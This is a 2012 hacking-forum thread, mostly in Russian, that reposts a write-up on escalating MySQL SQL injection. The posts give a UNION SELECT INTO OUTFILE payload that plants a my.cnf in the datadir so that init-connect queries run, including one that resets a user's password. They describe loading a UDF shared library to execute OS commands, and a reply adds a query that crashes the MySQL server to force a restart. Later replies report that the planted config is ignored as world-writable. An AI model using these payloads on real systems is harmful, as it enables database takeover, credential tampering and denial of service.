Вернуться   RDot > RDot.org > Статьи/Articles > Чужие статьи/Переводы;Foreign articles/translations

Ответ
 
Опции темы Поиск в этой теме Опции просмотра
Старый 04.03.2012, 23:10   #1
d0znpp
 
Аватар для d0znpp
 
Регистрация: 09.09.2010
Сообщений: 484
Репутация: 252
По умолчанию Выполнение подзапросов и команд ОС в инъекциях SELECT под MySQL

We would like to open our blog notes on the practical implementation of the SQL-injections.
And also we try to focus more attention on the practical aspects of web application security in the future.

SQL injections are the most common server-side Web application vulnerabilities and meet almost every audit in our practice.
Very often it happens that through these vulnerabilities we can write files (granted FILE_PRIV).
The simplest way of the exploitation in this case - write executable script (i.e. shell.php) in www-root (i.e. /var/www/).
But sometimes there is no filesystem rights to write in /var/www.

We would like to present a method for the operation of these vulnerabilities to execute arbitrary queries and even commands (tested in Debian lenny).
This is not the easiest attack vector, but it is possible!

The idea is very simple and is to replace the file my.cnf. This configuration file is write-protected directory:
-rw-r--r-- 1 root root 3596 /etc/mysql/my.cnf
#debian lenny
However, if you write my.cnf in DATADIR it will work! And DATADIR is writable always:
drwx------ 4 mysql mysql 4096 /var/lib/mysql
#debian lenny

Then look at documentation:
http://dev.mysql.com/doc/refman/5.1/en/server-system-variables.html#sysvar_init_connect
http://dev.mysql.com/doc/refman/5.1/en/server-system-variables.html#sysvar_init_file
http://dev.mysql.com/doc/refman/5.1/en/replication-options-slave.html#sysvar_init_slave

Finally, attack vector will be like that:
'AND 1=2 UNION SELECT '[mysqld]\ninit_file="update users set passwd=123 where id=0"\n#'
INTO OUTFILE '/var/lib/mysql/my.cnf'-- -

Now you can execute any query from SQL-injection into SELECT statement and FILE_PRIV.
Query in init-connect will be executed after the non-SUPER user logs in.
And there is another problem - you must somehow restart MySQL daemon.
The easiest way to wait until it happens naturally.
But you can always send a hard query to exceed a memory limit.
Then OOM Killer make your job

On MySQL 5.1.2+ (required by http://dev.mysql.com/doc/refman/5.1/en/server-system-variables.html#sysvar_plugin_dir) you can also execute OS commands by my.cnf like that:
[mysqld]
plugin_dir = /var/tmp/aaa # 5.1.2+ only
init-connect = "CREATE FUNCTION do_system RETURNS INTEGER SONAME 'so_system.so.0.0';"
# 2 3 4 5 6 7 8 9 10 11
Where /var/tmp/aaa is any writable directory, so_system.so.0.0 is your binary library.

Origin: http://lab.onsec.ru/2012/03/advanced-sqli-exploitation-with.html
__________________
The Sucks Origin Policy
d0znpp вне форума   Ответить с цитированием
Старый 05.03.2012, 08:21   #2
l1ght
 
Аватар для l1ght
 
Регистрация: 04.07.2010
Сообщений: 32
Репутация: 32
По умолчанию

Цитата:
However, if you write my.cnf in DATADIR it will work!
и почему конфиг должен грузиться из @datadir?

Код:
root@sds3 /var/lib/mysql # ls -lia my.cnf
6930768 -rw-rw-rw- 1 mysql mysql 42 2012-03-05 05:59 my.cnf

root@sds3 /var/lib/mysql # cat my.cnf
[mysqld]
 plugin_dir = /tmp 

root@sds3 /var/lib/mysql # /etc/init.d/mysql restart
Rather than invoking init scripts through /etc/init.d, use the service(8)
utility, e.g. service mysql restart

Since the script you are attempting to invoke has been converted to an
Upstart job, you may also use the restart(8) utility, e.g. restart mysql
mysql start/running, process 30158

root@sds3 /var/lib/mysql # mysql -uroot -ppwd
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 991
Server version: 5.1.41-3ubuntu12.10 (Ubuntu)

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql> create function sys_exec returns int soname 'lib_mysqludf_sys.so';
ERROR 1126 (HY000): Can't open shared library 'lib_mysqludf_sys.so' (errno: 22 /usr/lib/mysql/plugin/lib_mysqludf_sys.so: cannot open shared object file: No such file or directory)
l1ght вне форума   Ответить с цитированием
Старый 05.03.2012, 11:34   #3
d0znpp
 
Аватар для d0znpp
 
Регистрация: 09.09.2010
Сообщений: 484
Репутация: 252
По умолчанию

Цитата:
Query in init-connect will be executed after the non-SUPER user logs in.
Может поэтому
__________________
The Sucks Origin Policy
d0znpp вне форума   Ответить с цитированием
Старый 05.03.2012, 13:17   #4
l1ght
 
Аватар для l1ght
 
Регистрация: 04.07.2010
Сообщений: 32
Репутация: 32
По умолчанию

Цитата:
Сообщение от d0znpp Посмотреть сообщение
Может поэтому
вопрос внимательно прочитал?

каким образом
Цитата:
Query in init-connect will be executed after the non-SUPER user logs in.
если конфиг с запросом в init-connect не подключен?

скрины покажи пожалуйста & cat /etc/mysql/my.cnf

Последний раз редактировалось l1ght; 05.03.2012 в 13:19.. Причина: 123
l1ght вне форума   Ответить с цитированием
Старый 05.03.2012, 15:17   #5
d0znpp
 
Аватар для d0znpp
 
Регистрация: 09.09.2010
Сообщений: 484
Репутация: 252
По умолчанию

Проверь просто, у тебя конфиг из /var/lib/mysql/my.cnf вообще воспринимается?
На любой там другой директиве, не надо сразу plugin_dir.
__________________
The Sucks Origin Policy
d0znpp вне форума   Ответить с цитированием
Старый 05.03.2012, 15:45   #6
l1ght
 
Аватар для l1ght
 
Регистрация: 04.07.2010
Сообщений: 32
Репутация: 32
По умолчанию

нет, не воспринимается

по теме: полезно не только для заливки шелла, можно обойти disable_functions через выполнение команд mysql
насчет ребута,писал когда-то на античате: mysql крашиться от такого запроса

Код:
select 1 from table procedure analyse ((select 1 from (select 1)a),1);
Код:
mysql> SHOW STATUS LIKE 'Uptime';
+---------------+-------+
| Variable_name | Value |
+---------------+-------+
| Uptime        | 5918  |
+---------------+-------+
1 row in set (0.00 sec)

mysql> select 1 from mysql.user procedure analyse((select 1 from (select 1)a),1);
ERROR 2013 (HY000): Lost connection to MySQL server during query

mysql> SHOW STATUS LIKE 'Uptime';
ERROR 2006 (HY000): MySQL server has gone away
No connection. Trying to reconnect...
Connection id:    288
Current database: *** NONE ***

+---------------+-------+
| Variable_name | Value |
+---------------+-------+
| Uptime        | 11    |
+---------------+-------+
1 row in set (0.00 sec)
+ ещё одно условие забыл - права на create
а вообще от какого юзверя mysql выполнится запрос?
оставь аську если можно, неудобно через форум
l1ght вне форума   Ответить с цитированием
Старый 05.03.2012, 15:57   #7
d0znpp
 
Аватар для d0znpp
 
Регистрация: 09.09.2010
Сообщений: 484
Репутация: 252
По умолчанию

Там видимо не mysqld_safe тогда у тебя
Про права на create - ну это ес-но если выполняешь create, то должны быть права на него
__________________
The Sucks Origin Policy
d0znpp вне форума   Ответить с цитированием
Старый 05.03.2012, 15:59   #8
d0znpp
 
Аватар для d0znpp
 
Регистрация: 09.09.2010
Сообщений: 484
Репутация: 252
По умолчанию

Цитата:
Сообщение от l1ght Посмотреть сообщение
нет, не воспринимается

по теме: полезно не только для заливки шелла, можно обойти disable_functions через выполнение команд mysql
насчет ребута,писал когда-то на античате: mysql крашиться от такого запроса

Код:
select 1 from table procedure analyse ((select 1 from (select 1)a),1);
ой как круто, а можешь от от себя в комментах написать на http://lab.onsec.ru/2012/03/advanced-sqli-exploitation-with.html чтобы всякие буржуины тоже увидели )
__________________
The Sucks Origin Policy
d0znpp вне форума   Ответить с цитированием
Старый 05.03.2012, 16:38   #9
tex
 
Регистрация: 26.12.2010
Сообщений: 135
Репутация: 41
По умолчанию

Warning: World-writable config file '/var/lib/mysql/my.cnf' is ignored
tex вне форума   Ответить с цитированием
Старый 05.03.2012, 16:52   #10
d0znpp
 
Аватар для d0znpp
 
Регистрация: 09.09.2010
Сообщений: 484
Репутация: 252
По умолчанию

пока не понял механизма, но ты прав.
into outfile/dumpfile ставит такие права, и ничего не выполняется.
надо смотреть случаи подробнее

Это реальная гадость, которая есть начиная с какой-то версии
__________________
The Sucks Origin Policy

Последний раз редактировалось d0znpp; 05.03.2012 в 17:08..
d0znpp вне форума   Ответить с цитированием
Ответ

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход



Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2019, Jelsoft Enterprises Ltd. Перевод: zCarot